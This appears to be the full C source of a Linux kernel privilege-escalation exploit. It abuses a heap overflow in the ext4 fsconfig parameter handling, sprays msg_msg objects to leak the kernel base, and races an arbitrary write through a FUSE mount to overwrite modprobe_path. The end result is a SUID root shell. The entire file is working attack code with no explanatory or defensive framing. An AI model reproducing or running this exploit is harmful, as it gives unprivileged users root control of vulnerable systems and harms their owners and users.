#define _GNU_SOURCE #include #include #include #include #include #include #include #include #include "fakefuse.h" int fd = -1; uint64_t modprobe_path; uint64_t offsets[] = {0x3400b0, 0x1c6c2e0}; enum {SINGLE_START = 0, MODPROBE}; void debug() { puts("Paused..."); getchar(); } uint64_t do_check_leak(char *buf) { uint64_t kbase = ((uint64_t *)buf)[510] - offsets[SINGLE_START]; if (kbase & 0x1fffff || kbase == 0 || (kbase & (0xfffffful << 40)) != ((0xfffffful << 40))) { return 0; } return kbase; } uint64_t do_leak () { uint64_t kbase = 0; char pat[0x1000] = {0}; char buffer[0x2000] = {0}, recieved[0x2000] = {0}; int targets[0x10] = {0}; msg *message = (msg *)buffer; int size = 0x1018; // spray msg_msg for (int i = 0; i < 8; i++) { memset(buffer, 0x41+i, sizeof(buffer)); targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); send_msg(targets[i], message, size - 0x30, 0); } memset(pat, 0x42, sizeof(pat)); pat[sizeof(pat)-1] = '\x00'; puts("[*] Opening ext4 filesystem"); fd = fsopen("ext4", 0); if (fd < 0) { puts("fsopen: Remember to unshare"); exit(-1); } strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); for (int i = 0; i < 117; i++) { fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); } // overflow, hopefully causes an OOB read on a potential msg_msg object below puts("[*] Overflowing..."); pat[21] = '\x00'; char evil[] = "\x60\x10"; fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); // spray more msg_msg for (int i = 8; i < 0x10; i++) { memset(buffer, 0x41+i, sizeof(buffer)); targets[i] = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); send_msg(targets[i], message, size - 0x30, 0); } fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0); puts("[*] Done heap overflow"); puts("[*] Spraying kmalloc-32"); for (int i = 0; i < 100; i++) { open("/proc/self/stat", O_RDONLY); } size = 0x1060; puts("[*] Attempting to recieve corrupted size and leak data"); // go through all targets qids and check if we hopefully get a leak for (int j = 0; j < 0x10; j++) { get_msg(targets[j], recieved, size, 0, IPC_NOWAIT | MSG_COPY | MSG_NOERROR); kbase = do_check_leak(recieved); if (kbase) { close(fd); return kbase; } } puts("[X] No leaks, trying again"); return 0; } // overflow to change msg_msg.next to modprobe_path - 8 void *arb_write(void *args) { uint64_t goal = modprobe_path - 8; char pat[0x1000] = {0}; memset(pat, 0x41, 29); char evil[0x20]; memcpy(evil, (void *)&goal, 8); fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); fsconfig(fd, FSCONFIG_SET_STRING, "\x00", evil, 0); puts("[*] Done heap overflow"); write(fuse_pipes[1], "A", 1); } // msg_msg arb write trick by hanging before msgseg on usercopy // use FUSE to time the race void do_win() { int size = 0x1000; char buffer[0x2000] = {0}; char pat[0x1000] = {0}; msg* message = (msg*)buffer; memset(buffer, 0x44, sizeof(buffer)); void *evil_page = mmap((void *)0x1337000, 0x1000, PROT_READ | PROT_WRITE, MAP_PRIVATE | MAP_ANONYMOUS | MAP_FIXED, 0, 0); uint64_t race_page = 0x1338000; msg *rooter = (msg *)(race_page-0x8); rooter->mtype = 1; size = 0x1010; int target = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); send_msg(target, message, size - 0x30, 0); puts("[*] Opening ext4 filesystem"); fd = fsopen("ext4", 0); if (fd < 0) { puts("Opening"); exit(-1); } puts("[*] Overflowing..."); strcpy(pat, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"); for (int i = 0; i < 117; i++) { fsconfig(fd, FSCONFIG_SET_STRING, "\x00", pat, 0); } puts("[*] Prepaing fault handlers via FUSE"); int evil_fd = open("evil/evil", O_RDWR); if (evil_fd < 0) { perror("evil fd failed"); exit(-1); } if ((mmap((void *)0x1338000, 0x1000, PROT_READ | PROT_WRITE, MAP_SHARED | MAP_FIXED, evil_fd, 0)) != (void *)0x1338000) { perror("mmap fail fuse 1"); exit(-1); } pthread_t thread; int race = pthread_create(&thread, NULL, arb_write, NULL); if(race != 0) { perror("can't setup threads for race"); } send_msg(target, rooter, size - 0x30, 0); pthread_join(thread, NULL); munmap((void *)0x1337000, 0x1000); munmap((void *)0x1338000, 0x1000); close(evil_fd); close(fd); } void spray_4k(int spray) { char buffer[0x2000] = {0}, recieved[0x2000] = {0}; msg *message = (msg *)buffer; int size = 0x1000; memset(buffer, 0x41, sizeof(buffer)); for (int i = 0; i < spray; i++) { int spray = make_queue(IPC_PRIVATE, 0666 | IPC_CREAT); send_msg(spray, message, size - 0x30, 0); } } void modprobe_init() { char filename[65]; memset(filename, 0, sizeof(filename)); int fd = open(modprobe_trigger, O_RDWR | O_CREAT); if (fd < 0) { perror("trigger creation failed"); exit(-1); } char root[] = "\xff\xff\xff\xff"; write(fd, root, sizeof(root)); close(fd); char w[] = "#!/bin/sh\nchmod u+s " SHELL "\n"; chmod(modprobe_trigger, 0777); fd = open(modprobe_win, O_RDWR | O_CREAT); if (fd < 0) { perror("winner creation failed"); exit(-1); } write(fd, w, sizeof(w)); close(fd); chmod(modprobe_win, 0777); return; } void modprobe_hax() { puts("[*] Attempting to trigger modprobe"); execve(modprobe_trigger, NULL, NULL); return; } void unshare_setup(uid_t uid, gid_t gid) { int temp; char edit[0x100]; unshare(CLONE_NEWNS|CLONE_NEWUSER); temp = open("/proc/self/setgroups", O_WRONLY); write(temp, "deny", strlen("deny")); close(temp); temp = open("/proc/self/uid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", uid); write(temp, edit, strlen(edit)); close(temp); temp = open("/proc/self/gid_map", O_WRONLY); snprintf(edit, sizeof(edit), "0 %d 1", gid); write(temp, edit, strlen(edit)); close(temp); return; } static const struct fuse_operations evil_ops = { .getattr = evil_getattr, .readdir = evil_readdir, .read = evil_read, }; char *fargs_evil[] = {"exploit", "evil", NULL }; int main(int argc, char **argv, char **envp) { fargs_evil[0] = argv[0]; unshare_setup(getuid(), getgid()); mkdir(MNT_PATH, 0777); pipe(fuse_pipes); modprobe_init(); if (!fork()) { fuse_main(sizeof(fargs_evil)/sizeof(char *) -1 , fargs_evil, &evil_ops, NULL); } sleep(1); spray_4k(30); uint64_t kbase = 0; while(!kbase) { kbase = do_leak(); } printf("[*] Kernel base 0x%lx\n", kbase); modprobe_path = (uint64_t)(kbase + (offsets[MODPROBE])); printf("[*] modprobe_path: 0x%lx\n", modprobe_path); spray_4k(30); while (1) { do_win(); modprobe_hax(); struct stat check; if (stat(SHELL, &check) < 0) { perror("Error on checking"); exit(-1); } if (check.st_mode & S_ISUID) { break; } } puts("[*] Exploit success! " SHELL " is SUID now!"); puts("[+] Popping shell"); execve(SHELL, root_argv, NULL); return 0; }